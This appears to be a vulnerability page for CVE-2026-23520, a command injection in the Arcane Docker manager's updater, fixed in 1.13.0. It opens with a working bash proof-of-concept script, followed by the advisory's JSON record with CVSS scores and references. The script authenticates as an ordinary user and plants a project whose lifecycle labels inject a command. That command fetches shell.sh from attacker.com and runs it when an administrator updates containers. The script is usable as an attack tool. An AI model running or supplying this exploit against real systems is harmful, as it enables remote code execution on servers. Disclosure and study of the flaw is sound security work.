CVE-2026-23520

#!/bin/bash # CVE-2026-23520 PoC - Arcane Command Injection # This PoC demonstrates the command injection vulnerability in Arcane's updater service API_URL="http://target-arcane-server:8080/api" USERNAME="attacker" PASSWORD="password123" PROJECT_NAME="malicious-project" # Step 1: Authenticate and get token echo "[*] Authenticating with Arcane API..." TOKEN=$(curl -s -X POST "$API_URL/auth/login" \ -H "Content-Type: application/json" \ -d "{\"username\":\"$USERNAME\",\"password\":\"$PASSWORD\"}" | jq -r '.token') if [ "$TOKEN" == "null" ] || [ -z "$TOKEN" ]; then echo "[-] Authentication failed" exit 1 fi echo "[+] Authentication successful" # Step 2: Create project with malicious lifecycle label echo "[*] Creating project with malicious lifecycle label..." MALICIOUS_CMD="; wget http://attacker.com/shell.sh -O /tmp/shell.sh && chmod +x /tmp/shell.sh && bash /tmp/shell.sh" curl -s -X POST "$API_URL/projects" \ -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" \ -d "{ \"name\": \"$PROJECT_NAME\", \"container_labels\": { \"com.getarcaneapp.arcane.lifecycle.pre-update\": \"$MALICIOUS_CMD\", \"com.getarcaneapp.arcane.lifecycle.post-update\": \"$MALICIOUS_CMD\" } }" echo "[+] Malicious project created successfully" echo "[!] Wait for admin to trigger container update to execute the payload"

{"cve": {"id": "CVE-2026-23520", "sourceIdentifier": "[email protected]", "published": "2026-01-15T20:16:05.467", "lastModified": "2026-02-05T21:37:01.000", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Arcane provides modern docker management. Prior to 1.13.0, Arcane has a command injection in the updater service. Arcane’s updater service supported lifecycle labels com.getarcaneapp.arcane.lifecycle.pre-update and com.getarcaneapp.arcane.lifecycle.post-update that allowed defining a command to run before or after a container update. The label value is passed directly to /bin/sh -c without sanitization or validation. Because any authenticated user (not limited to administrators) can create projects through the API, an attacker can create a project that specifies one of these lifecycle labels with a malicious command. When an administrator later triggers a container update (either manually or via scheduled update checks), Arcane reads the lifecycle label and executes its value as a shell command inside the container. This vulnerability is fixed in 1.13.0."}, {"lang": "es", "value": "Arcane proporciona gestión moderna de Docker. Antes de 1.13.0, Arcane tiene una inyección de comandos en el servicio de actualización. El servicio de actualización de Arcane soportaba etiquetas de ciclo de vida com.getarcaneapp.arcane.lifecycle.pre-update y com.getarcaneapp.arcane.lifecycle.post-update que permitían definir un comando para ejecutar antes o después de una actualización de contenedor. El valor de la etiqueta se pasa directamente a /bin/sh -c sin saneamiento ni validación. Debido a que cualquier usuario autenticado (no limitado a administradores) puede crear proyectos a través de la API, un atacante puede crear un proyecto que especifica una de estas etiquetas de ciclo de vida con un comando malicioso. Cuando un administrador más tarde activa una actualización de contenedor (ya sea manualmente o mediante comprobaciones de actualización programadas), Arcane lee la etiqueta de ciclo de vida y ejecuta su valor como un comando de shell dentro del contenedor. Esta vulnerabilidad está corregida en 1.13.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H", "baseScore": 9.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.3, "impactScore": 6.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.0, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.1, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:arcane:arcane:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.13.0", "matchCriteriaId": "C6334A63-DF55-490B-9840-4805617B2E8D"}]}]}], "references": [{"url": "https://github.com/getarcaneapp/arcane/commit/5a9c2f92e11f86f8997da8c672844468f930b7e4", "source": "[email protected]", "tags": ["Exploit"]}, {"url": "https://github.com/getarcaneapp/arcane/pull/1468", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://github.com/getarcaneapp/arcane/releases/tag/v1.13.0", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/getarcaneapp/arcane/security/advisories/GHSA-gjqq-6r35-w3r8", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}